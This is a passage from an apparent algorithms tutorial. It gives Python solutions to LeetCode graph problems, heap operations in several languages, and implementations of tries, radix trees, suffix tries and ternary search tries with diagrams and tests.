        for neighbor in node.neighbors:
            clone.neighbors.append(dfs(neighbor))

        return clone

    return dfs(node)

def num_islands(grid):
    """
    Count number of islands in 2D grid (LeetCode 200).

    Time: $O(m \times n)$ where m=rows, n=cols
    Space: $O(m \times n)$ worst case (all land)

    An island is surrounded by water and formed by connecting
    adjacent lands horizontally or vertically.
    """
    if not grid or not grid[0]:
        return 0

    rows, cols = len(grid), len(grid[0])
    islands = 0

    def dfs(r, c):
        # Boundary check and water check
        if (r < 0 or r >= rows or c < 0 or c >= cols or
            grid[r][c] == '0'):
            return

        # Mark as visited by changing to water
        grid[r][c] = '0'

        # Explore all 4 directions
        dfs(r + 1, c)  # down
        dfs(r - 1, c)  # up
        dfs(r, c + 1)  # right
        dfs(r, c - 1)  # left

    # Find all islands
    for r in range(rows):
        for c in range(cols):
            if grid[r][c] == '1':
                dfs(r, c)
                islands += 1

    return islands

# Example
grid = [
    ['1', '1', '0', '0', '0'],
    ['1', '1', '0', '0', '0'],
    ['0', '0', '1', '0', '0'],
    ['0', '0', '0', '1', '1']
]
print(num_islands(grid))  # 3 islands

def can_finish(num_courses, prerequisites):
    """
    Determine if you can finish all courses (LeetCode 207).

    Time: $O(V + E)$
    Space: $O(V + E)$

    prerequisites[i] = [a, b] means must take course b before a.
    Return True if can finish all courses (no cycle in dependency graph).
    """
    # Build graph
    graph = {i: [] for i in range(num_courses)}
    for course, prereq in prerequisites:
        graph[course].append(prereq)

    # Detect cycle using DFS
    WHITE, GRAY, BLACK = 0, 1, 2
    color = [WHITE] * num_courses

    def has_cycle(course):
        color[course] = GRAY

        for prereq in graph[course]:
            if color[prereq] == GRAY:
                return True  # Back edge = cycle
            if color[prereq] == WHITE:
                if has_cycle(prereq):
                    return True

        color[course] = BLACK
        return False

    # Check all components
    for course in range(num_courses):
        if color[course] == WHITE:
            if has_cycle(course):
                return False  # Cycle found, can't finish

    return True  # No cycle, can finish all

# Example
print(can_finish(2, [[1,0]]))  # True: 0 → 1
print(can_finish(2, [[1,0],[0,1]]))  # False: 0 ⇄ 1 (cycle)

def find_order(num_courses, prerequisites):
    """
    Return course order to finish all courses (LeetCode 210).

    Returns: List of course order, or [] if impossible
    """
    # Build graph
    graph = {i: [] for i in range(num_courses)}
    for course, prereq in prerequisites:
        graph[prereq].append(course)  # prereq → course

    # Topological sort using DFS
    WHITE, GRAY, BLACK = 0, 1, 2
    color = [WHITE] * num_courses
    order = []
    has_cycle = [False]

    def dfs(course):
        if has_cycle[0]:
            return

        color[course] = GRAY

        for next_course in graph[course]:
            if color[next_course] == GRAY:
                has_cycle[0] = True
                return
            if color[next_course] == WHITE:
                dfs(next_course)

        color[course] = BLACK
        order.append(course)

    for course in range(num_courses):
        if color[course] == WHITE:
            dfs(course)
            if has_cycle[0]:
                return []

    return order[::-1]  # Reverse for correct order

# Example
print(find_order(4, [[1,0],[2,0],[3,1],[3,2]]))
# [0, 1, 2, 3] or [0, 2, 1, 3]

def ladder_length(begin_word, end_word, word_list):
    """
    Find shortest transformation sequence length (LeetCode 127).

    Time: $O(M^2 \times N)$ where M=word length, N=word list size
    Space: $O(M \times N)$

    Each transformation changes exactly one letter.
    """
    word_set = set(word_list)
    if end_word not in word_set:
        return 0

    queue = deque([(begin_word, 1)])
    visited = {begin_word}

    while queue:
        word, length = queue.popleft()

        if word == end_word:
            return length

        # Try all possible one-letter changes
        for i in range(len(word)):
            for c in 'abcdefghijklmnopqrstuvwxyz':
                next_word = word[:i] + c + word[i+1:]

                if next_word in word_set and next_word not in visited:
                    visited.add(next_word)
                    queue.append((next_word, length + 1))

    return 0  # No transformation sequence found

# Example
begin = "hit"
end = "cog"
word_list = ["hot","dot","dog","lot","log","cog"]
print(ladder_length(begin, end, word_list))
# 5: "hit" → "hot" → "dot" → "dog" → "cog"

def network_delay_time(times, n, k):
    """
    Find time for signal to reach all nodes (LeetCode 743).

    Time: $O((V + E) \log V)$ using Dijkstra
    Space: $O(V + E)$

    times[i] = [u, v, w] means signal from u to v takes w time.
    Return minimum time for all nodes to receive signal from k.
    """
    # Build graph
    graph = {i: [] for i in range(1, n + 1)}
    for u, v, w in times:
        graph[u].append((v, w))

    # Dijkstra's algorithm
    import heapq
    distances = {i: float('inf') for i in range(1, n + 1)}
    distances[k] = 0
    pq = [(0, k)]
    visited = set()

    while pq:
        curr_dist, node = heapq.heappop(pq)

        if node in visited:
            continue
        visited.add(node)

        for neighbor, weight in graph[node]:
            dist = curr_dist + weight
            if dist < distances[neighbor]:
                distances[neighbor] = dist
                heapq.heappush(pq, (dist, neighbor))

    # Max distance to any node
    max_time = max(distances.values())
    return max_time if max_time != float('inf') else -1

# Example
times = [[2,1,1],[2,3,1],[3,4,1]]
n = 4
k = 2
print(network_delay_time(times, n, k))
# 2: node 2 → node 3 → node 4 (takes 2 time)

def alien_order(words):
    """
    Derive order of letters in alien language (LeetCode 269).

    Time: $O(C)$ where C = total characters in all words
    Space: $O(1)$ - at most 26 letters

    Given sorted dictionary in alien language, return order of letters.
    """
    # Build graph
    graph = {c: set() for word in words for c in word}
    in_degree = {c: 0 for word in words for c in word}

    # Compare adjacent words to find character order
    for i in range(len(words) - 1):
        word1, word2 = words[i], words[i + 1]
        min_len = min(len(word1), len(word2))

        # Find first different character
        for j in range(min_len):
            if word1[j] != word2[j]:
                # word1[j] comes before word2[j]
                if word2[j] not in graph[word1[j]]:
                    graph[word1[j]].add(word2[j])
                    in_degree[word2[j]] += 1
                break
        else:
            # word1 is prefix of word2, or same → check lengths
            if len(word1) > len(word2):
                return ""  # Invalid: ["abc", "ab"]

    # Topological sort (Kahn's algorithm)
    queue = deque([c for c in in_degree if in_degree[c] == 0])
    order = []

    while queue:
        c = queue.popleft()
        order.append(c)

        for neighbor in graph[c]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    # Check if all characters processed (no cycle)
    if len(order) != len(in_degree):
        return ""  # Cycle exists, invalid

    return "".join(order)

# Example
words = ["wrt", "wrf", "er", "ett", "rftt"]
print(alien_order(words))
# "wertf" - one possible order
# w before e (wrt vs er)
# t before f (wrt vs wrf)
# r before t (er vs ett)
# e before r (wrf vs er)

Graph Algorithms
├── Traversal
│   ├── DFS (Stack/Recursion)
│   └── BFS (Queue)
├── Shortest Path
│   ├── Unweighted: BFS
│   ├── Single-source: Dijkstra, Bellman-Ford
│   ├── All-pairs: Floyd-Warshall
│   └── Heuristic: A*
├── Minimum Spanning Tree
│   ├── Kruskal (Union-Find)
│   └── Prim (Priority Queue)
├── Topological Sort
│   ├── DFS-based
│   └── Kahn's (BFS-based)
├── Connectivity
│   ├── Connected Components (DFS/BFS)
│   ├── Strongly Connected (Kosaraju/Tarjan)
│   └── Dynamic Connectivity (Union-Find)
└── Special Properties
    ├── Cycle Detection
    ├── Bipartite Check
    └── Bridges/Articulation Points

Array:  [1, 3, 6, 5, 9, 8]
Tree:       1
           / \
          3   6
         / \  /
        5  9 8

insert(heap, value):
    heap.append(value)
    index = heap.size - 1

    while index > 0:
        parent = (index - 1) / 2
        if heap[parent] > heap[index]:  // for min heap
            swap(heap[parent], heap[index])
            index = parent
        else:
            break

extractMin(heap):
    if heap.isEmpty():
        return null

    minValue = heap[0]
    heap[0] = heap[heap.size - 1]
    heap.removeLast()

    index = 0
    while true:
        left = 2 * index + 1
        right = 2 * index + 2
        smallest = index

        if left < heap.size and heap[left] < heap[smallest]:
            smallest = left
        if right < heap.size and heap[right] < heap[smallest]:
            smallest = right

        if smallest != index:
            swap(heap[index], heap[smallest])
            index = smallest
        else:
            break

    return minValue

heapify(array):
    n = array.length
    // Start from last non-leaf node
    for i from (n/2 - 1) down to 0:
        bubbleDown(array, i, n)

bubbleDown(array, index, heapSize):
    while true:
        left = 2 * index + 1
        right = 2 * index + 2
        smallest = index

        if left < heapSize and array[left] < array[smallest]:
            smallest = left
        if right < heapSize and array[right] < array[smallest]:
            smallest = right

        if smallest != index:
            swap(array[index], array[smallest])
            index = smallest
        else:
            break

def findKthLargest(nums, k):
    heap = []
    for num in nums:
        heappush(heap, num)
        if len(heap) > k:
            heappop(heap)
    return heap[0]  # root of min heap

def mergeKLists(lists):
    heap = []
    result = []

    # Initialize heap with first element from each list
    for i, lst in enumerate(lists):
        if lst:
            heappush(heap, (lst[0], i, 0))  # (value, list_index, element_index)

    while heap:
        val, list_idx, elem_idx = heappop(heap)
        result.append(val)

        # Add next element from same list
        if elem_idx + 1 < len(lists[list_idx]):
            next_val = lists[list_idx][elem_idx + 1]
            heappush(heap, (next_val, list_idx, elem_idx + 1))

    return result

class MedianFinder:
    def __init__(self):
        self.small = []  # max heap (negate values)
        self.large = []  # min heap

    def addNum(self, num):
        # Add to max heap (small)
        heappush(self.small, -num)

        # Balance: move largest from small to large
        heappush(self.large, -heappop(self.small))

        # Maintain size property
        if len(self.small) < len(self.large):
            heappush(self.small, -heappop(self.large))

    def findMedian(self):
        if len(self.small) > len(self.large):
            return -self.small[0]
        return (-self.small[0] + self.large[0]) / 2.0

def maxSlidingWindow(nums, k):
    heap = []
    result = []

    for i, num in enumerate(nums):
        heappush(heap, (-num, i))  # max heap

        if i >= k - 1:
            # Remove elements outside window
            while heap and heap[0][1] <= i - k:
                heappop(heap)
            result.append(-heap[0][0])

    return result

def topKFrequent(words, k):
    from collections import Counter
    count = Counter(words)

    # Min heap of size k
    heap = []
    for word, freq in count.items():
        heappush(heap, (freq, word))
        if len(heap) > k:
            heappop(heap)

    # Extract and reverse for descending order
    result = []
    while heap:
        result.append(heappop(heap)[1])
    return result[::-1]

def minMeetingRooms(intervals):
    if not intervals:
        return 0

    intervals.sort(key=lambda x: x[0])  # sort by start time
    heap = []

    for interval in intervals:
        # If earliest ending meeting finishes before current starts
        if heap and heap[0] <= interval[0]:
            heappop(heap)
        heappush(heap, interval[1])  # add end time

    return len(heap)  # heap size = rooms needed

def dijkstra(graph, start):
    distances = {node: float('inf') for node in graph}
    distances[start] = 0
    heap = [(0, start)]
    visited = set()

    while heap:
        current_dist, node = heappop(heap)

        if node in visited:
            continue
        visited.add(node)

        for neighbor, weight in graph[node]:
            distance = current_dist + weight

            if distance < distances[neighbor]:
                distances[neighbor] = distance
                heappush(heap, (distance, neighbor))

    return distances

def reorganizeString(s):
    from collections import Counter
    count = Counter(s)
    heap = [(-freq, char) for char, freq in count.items()]
    heapify(heap)

    result = []
    prev_freq, prev_char = 0, ''

    while heap:
        freq, char = heappop(heap)
        result.append(char)

        if prev_freq < 0:
            heappush(heap, (prev_freq, prev_char))

        prev_freq, prev_char = freq + 1, char

    result_str = ''.join(result)
    return result_str if len(result_str) == len(s) else ""

import heapq
from typing import List

class MinHeap:
    def __init__(self):
        self.heap = []

    def push(self, val):
        heapq.heappush(self.heap, val)

    def pop(self):
        return heapq.heappop(self.heap)

    def peek(self):
        return self.heap[0] if self.heap else None

    def size(self):
        return len(self.heap)

# Max Heap (negate values)
class MaxHeap:
    def __init__(self):
        self.heap = []

    def push(self, val):
        heapq.heappush(self.heap, -val)

    def pop(self):
        return -heapq.heappop(self.heap)

    def peek(self):
        return -self.heap[0] if self.heap else None

# Build heap from array
def build_heap(arr: List[int]) -> List[int]:
    heapq.heapify(arr)  # O(n) operation
    return arr

# Heap sort
def heap_sort(arr: List[int]) -> List[int]:
    heapq.heapify(arr)
    return [heapq.heappop(arr) for _ in range(len(arr))]

import java.util.*;

public class HeapExamples {
    // Min Heap
    public static void minHeapExample() {
        PriorityQueue<Integer> minHeap = new PriorityQueue<>();
        minHeap.offer(5);
        minHeap.offer(3);
        minHeap.offer(7);
        System.out.println(minHeap.poll()); // 3
    }

    // Max Heap
    public static void maxHeapExample() {
        PriorityQueue<Integer> maxHeap =
            new PriorityQueue<>(Collections.reverseOrder());
        maxHeap.offer(5);
        maxHeap.offer(3);
        maxHeap.offer(7);
        System.out.println(maxHeap.poll()); // 7
    }

    // Custom Comparator
    public static void customComparator() {
        PriorityQueue<int[]> pq = new PriorityQueue<>(
            (a, b) -> a[1] - b[1]  // compare by second element
        );
        pq.offer(new int[]{1, 5});
        pq.offer(new int[]{2, 3});
        System.out.println(Arrays.toString(pq.poll())); // [2, 3]
    }
}

#include <queue>
#include <vector>
#include <iostream>
using namespace std;

int main() {
    // Min Heap (default)
    priority_queue<int, vector<int>, greater<int>> minHeap;
    minHeap.push(5);
    minHeap.push(3);
    minHeap.push(7);
    cout << minHeap.top() << endl; // 3

    // Max Heap
    priority_queue<int> maxHeap;
    maxHeap.push(5);
    maxHeap.push(3);
    maxHeap.push(7);
    cout << maxHeap.top() << endl; // 7

    // Custom Comparator
    auto cmp = [](pair<int,int> a, pair<int,int> b) {
        return a.second > b.second;
    };
    priority_queue<pair<int,int>, vector<pair<int,int>>, decltype(cmp)> pq(cmp);
    pq.push({1, 5});
    pq.push({2, 3});
    cout << pq.top().first << endl; // 2

    return 0;
}

                    (root)
                    /    \
                   c      d
                   |      |
                   a      o
                  / \    /|\
                 t   r  d g |
                     |  | |  \
                     d  g e  r
                        |
                        e

class TrieNode:
    def __init__(self):
        self.children = {}  # Can also be an array[26] for lowercase letters
        self.is_end_of_word = False
        # Optional: store additional data
        # self.word = None
        # self.frequency = 0

        root
        / \
       t   i
       |   |
       e   n
      /|\  |
     a d n n

children = [None] * 26  # For 'a' to 'z'
index = ord(char) - ord('a')

children = {}  # Dictionary
children[char] = TrieNode()

root

root
 |
 C

root
 |
 C
 |
 A

root
 |
 C
 |
 A
 |
 R*  (* = end of word)

root
 |
 C
 |
 A
/ \
R* T*

Before:        After:
root           root
 |              |
 C              C
 |              |
 A              A
/ \             |
R* T*  →       R*

Before:        After:
root           root
 |              |
 C              C
 |              |
 A*             A      (unmarked)
/ \            / \
R* T*         R* T*

# Insert "DOG" into trie containing only "CAT"
# Creates entirely new branch from root

# Insert "CAR" into trie containing "CARD"
# Navigate to 'R' and mark it as end of word

# Insert "CARD" into trie containing "CAR"
# Navigate to 'R' and add 'D' as child

# Searching "CAR" in trie containing "CARD"
# Navigate: root → C → A → R
# Check: is_end_of_word at R?
# If True: word exists
# If False: only a prefix exists

# StartsWith("CA") in trie with ["CAR", "CAT"]
# Navigate: root → C → A
# If we successfully navigate entire prefix: return True

# AutoComplete("CA") returns ["CAR", "CAT", "CARD"]

class TrieNode:
    """
    Node in a Trie. Each node represents a character.
    """
    def __init__(self):
        # Dictionary mapping characters to TrieNode objects
        self.children = {}
        # Flag indicating if this node marks the end of a valid word
        self.is_end_of_word = False
        # Optional: store the actual word at leaf nodes for convenience
        self.word = None

class Trie:
    """
    Trie (Prefix Tree) data structure for efficient string operations.
    """

    def __init__(self):
        """Initialize trie with empty root node."""
        self.root = TrieNode()
        self.word_count = 0

    def insert(self, word: str) -> None:
        """
        Insert a word into the trie.

        Time Complexity: O(m) where m is the length of the word
        Space Complexity: O(m) in worst case (all new nodes)

        Args:
            word: String to insert
        """
        if not word:
            return

        node = self.root

        # Traverse or create nodes for each character
        for char in word:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]

        # Mark the last node as end of word
        if not node.is_end_of_word:
            node.is_end_of_word = True
            node.word = word
            self.word_count += 1

    def search(self, word: str) -> bool:
        """
        Search for an exact word in the trie.

        Time Complexity: O(m) where m is the length of the word
        Space Complexity: O(1)

        Args:
            word: String to search for

        Returns:
            True if word exists in trie, False otherwise
        """
        node = self._find_node(word)
        return node is not None and node.is_end_of_word

    def starts_with(self, prefix: str) -> bool:
        """
        Check if any word in trie starts with given prefix.

        Time Complexity: O(p) where p is the length of prefix
        Space Complexity: O(1)

        Args:
            prefix: Prefix to search for

        Returns:
            True if prefix exists, False otherwise
        """
        return self._find_node(prefix) is not None

    def _find_node(self, prefix: str) -> TrieNode:
        """
        Helper method to find the node representing a prefix.

        Args:
            prefix: String to find

        Returns:
            TrieNode if prefix exists, None otherwise
        """
        node = self.root

        for char in prefix:
            if char not in node.children:
                return None
            node = node.children[char]

        return node

    def delete(self, word: str) -> bool:
        """
        Delete a word from the trie.

        Time Complexity: O(m) where m is the length of the word
        Space Complexity: O(m) due to recursion stack

        Args:
            word: Word to delete

        Returns:
            True if word was deleted, False if word didn't exist
        """
        def _delete_helper(node: TrieNode, word: str, index: int) -> bool:
            """
            Recursive helper for deletion.

            Returns:
                True if the node should be deleted, False otherwise
            """
            # Base case: reached end of word
            if index == len(word):
                # Word doesn't exist
                if not node.is_end_of_word:
                    return False

                # Unmark as end of word
                node.is_end_of_word = False
                node.word = None

                # Delete node if it has no children
                return len(node.children) == 0

            char = word[index]

            # Character not found
            if char not in node.children:
                return False

            child_node = node.children[char]
            should_delete_child = _delete_helper(child_node, word, index + 1)

            # Delete child node if necessary
            if should_delete_child:
                del node.children[char]

                # Delete current node if:
                # 1. It's not end of another word
                # 2. It has no other children
                return not node.is_end_of_word and len(node.children) == 0

            return False

        if _delete_helper(self.root, word, 0):
            self.word_count -= 1
            return True
        return False

    def get_all_words_with_prefix(self, prefix: str) -> list:
        """
        Get all words that start with the given prefix (autocomplete).

        Time Complexity: O(p + n*k) where p = prefix length,
                         n = number of results, k = avg word length
        Space Complexity: O(n*k) for storing results

        Args:
            prefix: Prefix to search for

        Returns:
            List of all words starting with prefix
        """
        results = []
        node = self._find_node(prefix)

        if node is None:
            return results

        # DFS to find all words from this node
        self._dfs_words(node, prefix, results)
        return results

    def _dfs_words(self, node: TrieNode, current_word: str, results: list) -> None:
        """
        DFS helper to collect all words from a given node.

        Args:
            node: Current node
            current_word: Word formed so far
            results: List to store found words
        """
        if node.is_end_of_word:
            results.append(current_word)

        for char, child_node in node.children.items():
            self._dfs_words(child_node, current_word + char, results)

    def get_all_words(self) -> list:
        """
        Get all words stored in the trie.

        Time Complexity: O(N*M) where N = number of words, M = avg length
        Space Complexity: O(N*M)

        Returns:
            List of all words in trie
        """
        return self.get_all_words_with_prefix("")

    def longest_prefix(self, word: str) -> str:
        """
        Find the longest prefix of word that exists in trie.

        Time Complexity: O(m) where m is length of word
        Space Complexity: O(1)

        Args:
            word: Word to find prefix for

        Returns:
            Longest matching prefix
        """
        node = self.root
        prefix = ""

        for char in word:
            if char not in node.children:
                break
            prefix += char
            node = node.children[char]

        return prefix

    def count_words_with_prefix(self, prefix: str) -> int:
        """
        Count how many words start with given prefix.

        Time Complexity: O(p + n) where p = prefix length, n = words with prefix
        Space Complexity: O(1) excluding recursion

        Args:
            prefix: Prefix to count

        Returns:
            Number of words with prefix
        """
        node = self._find_node(prefix)
        if node is None:
            return 0

        return self._count_words(node)

    def _count_words(self, node: TrieNode) -> int:
        """
        Count all words in subtree rooted at node.

        Args:
            node: Root of subtree

        Returns:
            Number of words in subtree
        """
        count = 1 if node.is_end_of_word else 0

        for child in node.children.values():
            count += self._count_words(child)

        return count

    def __len__(self) -> int:
        """Return number of words in trie."""
        return self.word_count

    def __contains__(self, word: str) -> bool:
        """Support 'in' operator."""
        return self.search(word)

    def __repr__(self) -> str:
        """String representation of trie."""
        return f"Trie(words={self.word_count})"

# Example Usage
if __name__ == "__main__":
    # Create trie and add words
    trie = Trie()
    words = ["cat", "car", "card", "dog", "dodge", "door", "cat"]

    print("Inserting words:", words)
    for word in words:
        trie.insert(word)

    print(f"\nTrie contains {len(trie)} unique words")

    # Search operations
    print("\n=== Search Operations ===")
    print(f"'cat' in trie: {trie.search('cat')}")  # True
    print(f"'ca' in trie: {trie.search('ca')}")    # False (prefix only)
    print(f"'card' in trie: {trie.search('card')}") # True

    # Prefix operations
    print("\n=== Prefix Operations ===")
    print(f"Starts with 'ca': {trie.starts_with('ca')}")  # True
    print(f"Starts with 'bat': {trie.starts_with('bat')}")  # False

    # Autocomplete
    print("\n=== Autocomplete ===")
    print(f"Words with prefix 'ca': {trie.get_all_words_with_prefix('ca')}")
    print(f"Words with prefix 'do': {trie.get_all_words_with_prefix('do')}")

    # Count operations
    print("\n=== Count Operations ===")
    print(f"Words starting with 'car': {trie.count_words_with_prefix('car')}")
    print(f"Words starting with 'do': {trie.count_words_with_prefix('do')}")

    # Longest prefix
    print("\n=== Longest Prefix ===")
    print(f"Longest prefix of 'cardinal': {trie.longest_prefix('cardinal')}")
    print(f"Longest prefix of 'catch': {trie.longest_prefix('catch')}")

    # Delete operations
    print("\n=== Delete Operations ===")
    print(f"Deleting 'cat': {trie.delete('cat')}")
    print(f"'cat' in trie after deletion: {trie.search('cat')}")
    print(f"'car' still in trie: {trie.search('car')}")

    # Get all words
    print("\n=== All Words ===")
    print(f"All words in trie: {trie.get_all_words()}")

class TrieNodeArray:
    """
    Array-based trie node for lowercase letters (a-z).
    More memory per node but O(1) lookup.
    """

    def __init__(self):
        # Array of 26 pointers (one for each letter)
        self.children = [None] * 26
        self.is_end_of_word = False

    def get_child(self, char: str) -> 'TrieNodeArray':
        """Get child node for character."""
        index = ord(char) - ord('a')
        return self.children[index]

    def set_child(self, char: str, node: 'TrieNodeArray') -> None:
        """Set child node for character."""
        index = ord(char) - ord('a')
        self.children[index] = node

    def has_child(self, char: str) -> bool:
        """Check if child exists for character."""
        index = ord(char) - ord('a')
        return self.children[index] is not None

class TrieArray:
    """Trie using array-based nodes."""

    def __init__(self):
        self.root = TrieNodeArray()

    def insert(self, word: str) -> None:
        """Insert word into trie."""
        node = self.root

        for char in word.lower():
            if not node.has_child(char):
                node.set_child(char, TrieNodeArray())
            node = node.get_child(char)

        node.is_end_of_word = True

    def search(self, word: str) -> bool:
        """Search for word in trie."""
        node = self.root

        for char in word.lower():
            if not node.has_child(char):
                return False
            node = node.get_child(char)

        return node.is_end_of_word

# Comparison: Array vs HashMap
# Array-based:
#   - Pros: O(1) access, cache-friendly
#   - Cons: 26 pointers per node (26 * 8 = 208 bytes on 64-bit)
#
# HashMap-based:
#   - Pros: Space-efficient for sparse data
#   - Cons: Hash overhead, slightly slower lookup

def test_trie():
    """Comprehensive test suite for Trie."""

    trie = Trie()

    # Test 1: Empty trie
    assert len(trie) == 0
    assert not trie.search("hello")
    assert not trie.starts_with("h")

    # Test 2: Single word insertion
    trie.insert("hello")
    assert len(trie) == 1
    assert trie.search("hello")
    assert not trie.search("hell")  # Prefix, not a word
    assert trie.starts_with("hell")

    # Test 3: Multiple words with shared prefix
    trie.insert("hell")
    trie.insert("help")
    assert len(trie) == 3
    assert trie.search("hell")
    assert trie.search("help")
    assert trie.count_words_with_prefix("hel") == 3

    # Test 4: Duplicate insertion
    trie.insert("hello")
    assert len(trie) == 3  # Should not increase

    # Test 5: Autocomplete
    words = trie.get_all_words_with_prefix("hel")
    assert set(words) == {"hello", "hell", "help"}

    # Test 6: Deletion
    assert trie.delete("hell")
    assert not trie.search("hell")
    assert trie.search("hello")  # Other words intact
    assert len(trie) == 2

    # Test 7: Delete non-existent word
    assert not trie.delete("world")

    # Test 8: Empty string
    trie.insert("")
    assert trie.search("")

    # Test 9: Case sensitivity
    trie.insert("Hello")
    assert trie.search("Hello")
    assert not trie.search("hello") == trie.search("Hello")  # Different words

    print("All tests passed!")

if __name__ == "__main__":
    test_trie()

    t
    |
    e
    |
    s
    |
    t*
   / \
  i   e
  |   |
  n   r*
  |
  g*

    test*
    /    \
  ing*  er*

class RadixNode:
    """Node in a Radix Tree (Compressed Trie)."""

    def __init__(self, label=""):
        self.label = label  # Edge label (can be multi-character)
        self.children = {}
        self.is_end_of_word = False
        self.value = None  # Optional: store associated value

class RadixTree:
    """
    Radix Tree (Compressed Trie) - space-optimized trie.
    Merges chains of single-child nodes.
    """

    def __init__(self):
        self.root = RadixNode()

    def insert(self, word: str, value=None) -> None:
        """
        Insert word into radix tree.

        Time Complexity: O(m) where m is word length
        """
        if not word:
            return

        node = self.root
        i = 0

        while i < len(word):
            char = word[i]

            # Find child with matching first character
            if char not in node.children:
                # No match - create new node with remaining string
                new_node = RadixNode(word[i:])
                new_node.is_end_of_word = True
                new_node.value = value
                node.children[char] = new_node
                return

            child = node.children[char]
            label = child.label

            # Find common prefix length
            j = 0
            while j < len(label) and i + j < len(word) and label[j] == word[i + j]:
                j += 1

            if j == len(label):
                # Entire label matches, continue with this child
                node = child
                i += j
            else:
                # Partial match - need to split
                # Create intermediate node
                common_prefix = label[:j]
                remaining_label = label[j:]
                remaining_word = word[i + j:]

                # Split existing node
                intermediate = RadixNode(common_prefix)
                node.children[char] = intermediate

                # Original child becomes child of intermediate
                child.label = remaining_label
                intermediate.children[remaining_label[0]] = child

                if remaining_word:
                    # Create new node for remaining word
                    new_node = RadixNode(remaining_word)
                    new_node.is_end_of_word = True
                    new_node.value = value
                    intermediate.children[remaining_word[0]] = new_node
                else:
                    # Current node is end of word
                    intermediate.is_end_of_word = True
                    intermediate.value = value

                return

        # Word completely consumed
        node.is_end_of_word = True
        node.value = value

    def search(self, word: str) -> bool:
        """Search for exact word."""
        node = self._find_node(word)
        return node is not None and node.is_end_of_word

    def _find_node(self, word: str) -> RadixNode:
        """Find node representing word/prefix."""
        node = self.root
        i = 0

        while i < len(word):
            char = word[i]

            if char not in node.children:
                return None

            child = node.children[char]
            label = child.label

            # Check if word matches label
            j = 0
            while j < len(label) and i + j < len(word):
                if label[j] != word[i + j]:
                    return None
                j += 1

            if j < len(label):
                # Word ended mid-label
                return None

            node = child
            i += j

        return node

    def starts_with(self, prefix: str) -> bool:
        """Check if any word starts with prefix."""
        return self._find_node(prefix) is not None

# Example usage
radix = RadixTree()
words = ["test", "testing", "tester", "team", "toast"]

for word in words:
    radix.insert(word)

print(radix.search("test"))     # True
print(radix.search("testing"))  # True
print(radix.search("tes"))      # False
print(radix.starts_with("tes")) # True

class SuffixTrie:
    """
    Suffix Trie for pattern matching in strings.
    Stores all suffixes of a text.
    """

    def __init__(self, text: str):
        """
        Build suffix trie for text.

        Time Complexity: O(n²) where n is length of text
        Space Complexity: O(n²) in worst case
        """
        self.root = TrieNode()
        self.text = text

        # Insert all suffixes
        for i in range(len(text)):
            self._insert_suffix(text[i:], i)

    def _insert_suffix(self, suffix: str, start_index: int) -> None:
        """Insert a suffix starting at start_index."""
        node = self.root

        for char in suffix:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]

        node.is_end_of_word = True
        node.start_index = start_index

    def contains_pattern(self, pattern: str) -> bool:
        """
        Check if pattern exists in original text.

        Time Complexity: O(m) where m is pattern length
        """
        node = self.root

        for char in pattern:
            if char not in node.children:
                return False
            node = node.children[char]

        return True

    def find_all_occurrences(self, pattern: str) -> list:
        """
        Find all starting positions where pattern occurs.

        Time Complexity: O(m + k) where m = pattern length, k = occurrences
        """
        node = self.root

        # Navigate to pattern
        for char in pattern:
            if char not in node.children:
                return []
            node = node.children[char]

        # Collect all start indices
        indices = []
        self._collect_indices(node, indices)
        return sorted(indices)

    def _collect_indices(self, node: TrieNode, indices: list) -> None:
        """DFS to collect all start indices."""
        if node.is_end_of_word:
            indices.append(node.start_index)

        for child in node.children.values():
            self._collect_indices(child, indices)

    def longest_repeated_substring(self) -> str:
        """
        Find longest substring that appears at least twice.

        Time Complexity: O(n²)
        """
        longest = ""

        def dfs(node, path):
            nonlocal longest

            # Count how many suffixes pass through this node
            count = self._count_leaves(node)

            if count >= 2 and len(path) > len(longest):
                longest = path

            for char, child in node.children.items():
                dfs(child, path + char)

        dfs(self.root, "")
        return longest

    def _count_leaves(self, node: TrieNode) -> int:
        """Count leaf nodes in subtree."""
        if node.is_end_of_word:
            return 1
        return sum(self._count_leaves(child) for child in node.children.values())

# Example usage
text = "BANANA"
suffix_trie = SuffixTrie(text)

print(f"Text: {text}")
print(f"Contains 'ANA': {suffix_trie.contains_pattern('ANA')}")  # True
print(f"Contains 'BAN': {suffix_trie.contains_pattern('BAN')}")  # True
print(f"Contains 'XYZ': {suffix_trie.contains_pattern('XYZ')}")  # False

print(f"\nOccurrences of 'ANA': {suffix_trie.find_all_occurrences('ANA')}")  # [1, 3]
print(f"Longest repeated substring: {suffix_trie.longest_repeated_substring()}")  # "ANA"

Each node has:
- char: current character
- left: chars < current
- mid: chars = current (next char in word)
- right: chars > current
- is_end_of_word: marks end

       c
      /|\
     b   a
        /|\
       t   n

class TSTNode:
    """Node in Ternary Search Trie."""

    def __init__(self, char):
        self.char = char
        self.left = None   # Less than
        self.mid = None    # Equal (next character)
        self.right = None  # Greater than
        self.is_end_of_word = False
        self.value = None

class TernarySearchTrie:
    """
    Ternary Search Trie - combines benefits of BST and Trie.
    More space-efficient than standard trie.
    """

    def __init__(self):
        self.root = None
        self.size = 0

    def insert(self, word: str, value=None) -> None:
        """
        Insert word into TST.

        Time Complexity: O(m) where m is word length
        Space Complexity: O(m) in worst case
        """
        if not word:
            return

        self.root = self._insert_helper(self.root, word, 0, value)

    def _insert_helper(self, node: TSTNode, word: str, index: int, value) -> TSTNode:
        """Recursive insertion helper."""
        char = word[index]

        # Create new node if necessary
        if node is None:
            node = TSTNode(char)

        if char < node.char:
            node.left = self._insert_helper(node.left, word, index, value)
        elif char > node.char:
            node.right = self._insert_helper(node.right, word, index, value)
        else:
            # char == node.char
            if index + 1 < len(word):
                # More characters to process
                node.mid = self._insert_helper(node.mid, word, index + 1, value)
            else:
                # End of word
                if not node.is_end_of_word:
                    self.size += 1
                node.is_end_of_word = True
                node.value = value

        return node

    def search(self, word: str) -> bool:
        """
        Search for exact word.

        Time Complexity: O(m + log n) where m = word length, n = words
        """
        node = self._find_node(self.root, word, 0)
        return node is not None and node.is_end_of_word

    def _find_node(self, node: TSTNode, word: str, index: int) -> TSTNode:
        """Find node representing word."""
        if node is None or index >= len(word):
            return node

        char = word[index]

        if char < node.char:
            return self._find_node(node.left, word, index)
        elif char > node.char:
            return self._find_node(node.right, word, index)
        else:
            if index + 1 == len(word):
                return node
            return self._find_node(node.mid, word, index + 1)

    def starts_with(self, prefix: str) -> bool:
        """Check if any word starts with prefix."""
